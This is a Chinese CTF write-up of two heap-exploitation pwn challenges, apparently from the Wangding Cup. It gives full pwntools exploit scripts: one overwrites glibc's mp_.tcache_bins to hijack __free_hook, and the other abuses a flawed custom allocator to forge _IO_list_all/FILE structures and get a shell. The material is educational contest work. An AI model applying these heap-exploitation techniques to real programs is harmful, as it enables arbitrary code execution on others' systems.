pwn1
解题过程
- libc2.31,保护全开,没有UAF也没有off-by-one/null,但是注意到edit函数很特别,可以任意地址写入666666这个数字
- 第一个思路显然是修改sizelist,但是想起来就算修改了size也不能edit来布置堆,同时这个开启了pie更不行。libcbase和heapbase还是很好泄露的
- 这个任意地址写也不是任意值,而是666666这个数字,于是想到了mp_结构体,这样可以扩展tcache,然后通过delete(0)然后再add就可以编辑tcache,这时候就可以写入free_hook,然后打free_hook来getshell
- exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x8049324')
# p=remote('0192d5d3be0f782ea43281dc0cf29672.3iz5.dg04.ciihw.cn',46453)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
#b *$rebase(0x14F5)
def dbg():
gdb.attach(p,'b *$rebase(0x1737B)')
pause()
menu="Input your choice"
def add(size,cont):
p.sendlineafter(menu,str(1))
p.sendlineafter("Size :",str(size))
p.sendafter("Content :",cont)
def delete(idx):
p.sendlineafter(menu,str(2))
p.sendlineafter("Index :",str(idx))
def edit(addr):
p.sendlineafter(menu,str(3))
p.sendafter("content :",addr)
def show(idx):
p.sendlineafter(menu,str(4))
p.sendlineafter("Index :",str(idx))
add(0x500,b'a')
add(0x500,b'/bin/sh\x00')
add(0x500,b'a')
add(0x500,b'a')
add(0x100,b'a')
delete(2)
add(0x500,b'a'*8)
show(5)
p.recvuntil(b'a'*8)
libcbase=u64(p.recv(6).ljust(8,b"\x00"))-0x1ecbe0
print(hex(libcbase))
free_hook= libcbase +libc.sym['__free_hook']
system=libcbase+libc.sym['system']
mp_=libcbase+0x1EC280+0x50
edit(p64(mp_))
delete(3)
delete(0)
add(0x500,p64(0)*13+p64(free_hook))
add(0x500,p64(system))
delete(1)
p.interactive()
mp结构体相关知识
- 不能使用tcache -> 通过largebin attack修改mp.tcache_bins -> free相应chunk -> 修改tcache的相应entries -> malloc
- 注意这里修改的是mp_.tcachebins而不是mp.tcache_max_bytes,修改这个值让tcache中的bin数变多,从而让largebin进入tcache
- 然后这个找偏移也不用纯手动算,直接telescope heapbase,然后看哪个是刚才被释放的chunk对应的count和位置
## 相关源码 - mp_结构
struct malloc_par
{
/* Tunable parameters */
0 unsigned long trim_threshold;
0x8 INTERNAL_SIZE_T top_pad;
0x10 INTERNAL_SIZE_T mmap_threshold;
0x18 INTERNAL_SIZE_T arena_test;
0x20 INTERNAL_SIZE_T arena_max;
/* Memory map support */
0x28 int n_mmaps;
0x2c int n_mmaps_max;
0x30 int max_n_mmaps;
/* the mmap_threshold is dynamic, until the user sets
it manually, at which point we need to disable any
dynamic behavior. */
0x34 int no_dyn_threshold;
/* Statistics */
0x38 INTERNAL_SIZE_T mmapped_mem;
0x40 INTERNAL_SIZE_T max_mmapped_mem;
/* First address handed out by MORECORE/sbrk. */
0x48 char *sbrk_base;
#if USE_TCACHE
/* Maximum number of buckets to use. */
0x50 size_t tcache_bins;
0x58 size_t tcache_max_bytes;
/* Maximum number of chunks in each bucket. */
0x60 size_t tcache_count;
/* Maximum number of chunks to remove from the unsorted list, which
aren't used to prefill the cache. */
0x68 size_t tcache_unsorted_limit;
#endif
};
- tcache取堆块
# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)
# define MAYBE_INIT_TCACHE() \
if (__glibc_unlikely (tcache == NULL)) \
tcache_init();
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}
void *
__libc_malloc (size_t bytes)
{
...
#if USE_TCACHE
size_t tbytes;
size_t tc_idx = csize2tidx (tbytes);
MAYBE_INIT_TCACHE ();
DIAG_PUSH_NEEDS_COMMENT;
// 漏洞所在
if (tc_idx < mp_.tcache_bins&& tcache&& tcache->counts[tc_idx] > 0)
{
return tcache_get (tc_idx);
}
DIAG_POP_NEEDS_COMMENT;
#endif
...//省略的逻辑是通过_int_malloc进行申请的部分
}
libc_hidden_def (__libc_malloc)
pwn2
这个题是出题人自己写了个库,实现pmalloc,pfree相关操作,根据这些库函数中的漏洞,进行攻击
逆向分析
这种题的大头肯定就是要逆向分析了
safenote
清空chunklist,做初始化
菜单堆
create_note函数,有是否选择enc这个模式,如果选择,那么对应的sizelist的第31位变为1(这里从0开始计数)
write_note函数,本身就有个read功能,如果堆块是enc模式,那么还会对其进行加密
read_note函数,比较常规,根据第31位判断是否需要进行解密,然后show出堆上内容
delete函数没有uaf
libsafelib.so
pInit函数初始化SecretTable,这里的随机其实是个伪随机数
pFree函数,首先会对传入的ptr进行检查,这和ptmalloc中的检查是类似的,就是检查是否对齐那些。之后是判断其大小是否是fastbin大小,如果是则进行类似进入fastbin的操作。如果不是则进入handle_chunk这个函数。handle_chunk函数我逆向了一下大致内容就像ptmalloc一样,会对堆块进行整合,进行unlink操作,然后放入bin中,这就是free的大致功能
pMalloc函数,首先看是否是fastbin大小,如果是那么从对应的fastbin取出堆块,如果不是则进行其他的bin进行查找。这里的最后有个问题就是,即使所有的bin都没有找到,那么最后还是会有个返回值,这就有大问题了,如果我的size完全不合理,导致sizelist存的内容很大,按道理应该是malloc失败,但是这里还是会返回一个堆地址,这就造成了超长的越界写!!!
题目分析及exp
逆向分析结束后,对这个机制有了大致的把控。大部分和ptmalloc非常相似,但是没有tcache,fastbin是和glibc2.32以上有异或加密的,bin机制估计也和ptmalloc大差不差。malloc函数也是和ptmalloc差不多,没有tcache就优先从fastbin寻找,找不到再找各个bin,最后就算bin中没有,也会返回一个堆地址,这也是漏洞利用点
这里的我们的思路就比较明确了,就是利用add(0xffffffdf)返回的地址进行越界写
-
把堆块放入unsorted bin再申请泄露libcbase
-
泄露secrettable,这里也不难,其实就是一点小的re题。而且还有一种方法可以leak这个secrettable,因为前面看到pInit函数里面是利用rand()来初始化,所以直接利用ctypes跑出同样的伪随机数也可以得到
- 泄露heapbase
- 利用fastbin attack错位构造申请出_IO_list_all,看到这个-0x23应该非常熟悉,但是这个题都没看到malloc,所以想要malloc_hook然后ogg不行,那就走IO路线,反正都可以任意地址申请
- 最后打通
- exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x8049324')
# p=remote('0192d5d3be0f782ea43281dc0cf29672.3iz5.dg04.ciihw.cn',46453)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
#b *$rebase(0x14F5)
def dbg():
gdb.attach(p,'b *$rebase(0x19A5)')
pause()
menu='choice>>'
def add(idx,size):
p.sendlineafter(menu,str(1))
p.sendlineafter("idx: ",str(idx))
p.sendlineafter("size: ",str(size))
p.sendlineafter("enc?: ",str(0))
def add_enc(idx,size):
p.sendlineafter(menu,str(1))
p.sendlineafter("idx: ",str(idx))
p.sendlineafter("size: ",str(size))
p.sendlineafter("enc?: ",str(1))
def edit(idx,len,cont):
p.sendlineafter(menu,str(2))
p.sendlineafter("idx: ",str(idx))
p.sendlineafter("size: ",str(len))
p.sendafter("content: ",cont)
def edit_enc(idx,len,cont,key,salt):
p.sendlineafter(menu,str(2))
p.sendlineafter("idx: ",str(idx))
p.sendlineafter("size: ",str(len))
p.sendafter("content: ",cont)
p.sendlineafter('key: ',key)
p.sendlineafter('salt: ',str(salt))
def show(idx):
p.sendlineafter(menu,str(3))
p.sendlineafter("idx: ",str(idx))
def show_enc(idx,key,salt):
p.sendlineafter(menu,str(3))
p.sendlineafter("idx: ",str(idx))
p.sendlineafter('key: ',key)
p.sendlineafter('salt: ',str(salt))
def delete(idx):
p.sendlineafter(menu,str(4))
p.sendlineafter("idx: ",str(idx))
p.sendlineafter('your name:',b'aaaa')
# 泄露libcbase
add(0,0x208)
add(1,0x18)
delete(0)
add(0,0x208)
show(0)
libcbase=u64(p.recv(6).ljust(8,b'\x00'))-0x1f70e8
print(hex(libcbase))
#泄露secret_table,因为一开始数据都是\x00,所以
add_enc(2,0x118)
add(3,0xffffffdf)
add(4,0x88)
add(5,0x68)
show_enc(2,"\x00",0)
cipher=p.recv(0x100)
print(cipher)
# pause()
secret_table=""
for i in range(0x100):
cipher_value = cipher[i]
#cipher[i]=i ^ key[i] ^ (buf[i]-table[i]) ,key[i]和cipher[i]都是\x00,所以很好求出table
guessed_secret = -(cipher_value ^ i)
secret_table += chr(guessed_secret & 0xFF)
def dec(plain):
global secret_table
cipher=""
for i in range(len(plain)):
cipher_value = plain[i]
secret_value = ord(secret_table[i & 0xFF])
add_value = i ^ (cipher_value - secret_value) & 0xFF
cipher += chr(add_value & 0xFF)
return cipher
#泄露hepabase
delete(5)
add(5,0x68)
show(5)
heapbase=u64(p.recv(8))<<12
success("heapbase: "+hex(heapbase))
#劫持IO_list_all,然后打IO
delete(5)
# dbg()
edit_enc(3,0x88,dec(b"a"*0x78+p64(0x71)+p64((libcbase+0x1ed5a0-0x23)^(heapbase>>12))),b"\x00",0) #_IO_list_all
add(5,0x68)
add(6,0x68)
edit(6,0x1b,b"a"*0x13+p64(heapbase+0x2b0))
wide_data=b""
wide_data=wide_data.ljust(0x18,b"\x00")
wide_data+=p64(1)
wide_data=wide_data.ljust(0x20,b"\x00")
wide_data+=p64(2)
wide_data=wide_data.ljust(0x38,b"\x00")
wide_data+=p64(libcbase+libc.sym["system"])
wide_data=wide_data.ljust(0xe0,b"\x00")
wide_data+=p64(heapbase+0x3b0+0x20)
payload=b"/bin/sh\x00"
payload=payload.ljust(0x28,b"\x00")
payload+=p64(1)
payload=payload.ljust(0xa0,b"\x00")
payload+=p64(heapbase+0x3b0)
payload=payload.ljust(0xc0,b"\x00")
payload+=p64(1)
payload=payload.ljust(0xd8,b"\x00")
payload+=p64(libcbase+0x1e8f90)
payload=payload.ljust(0x100,b"\x00")
payload+=wide_data
edit(0,len(payload),payload)
p.recvuntil(">> ")
p.sendline("5")
p.interactive()
一些思考
网鼎杯白虎组的pwn2还是比较有意思的,一开始觉得很难,因为得看懂它整个库函数实现的malloc机制,但是通过耐心的逆向分析,以及和已经非常熟悉的ptmalloc机制进行类比,就可以从宏观上把握住其分配机制,最后发现分配机制中的漏洞来进行堆上的利用,最后getshell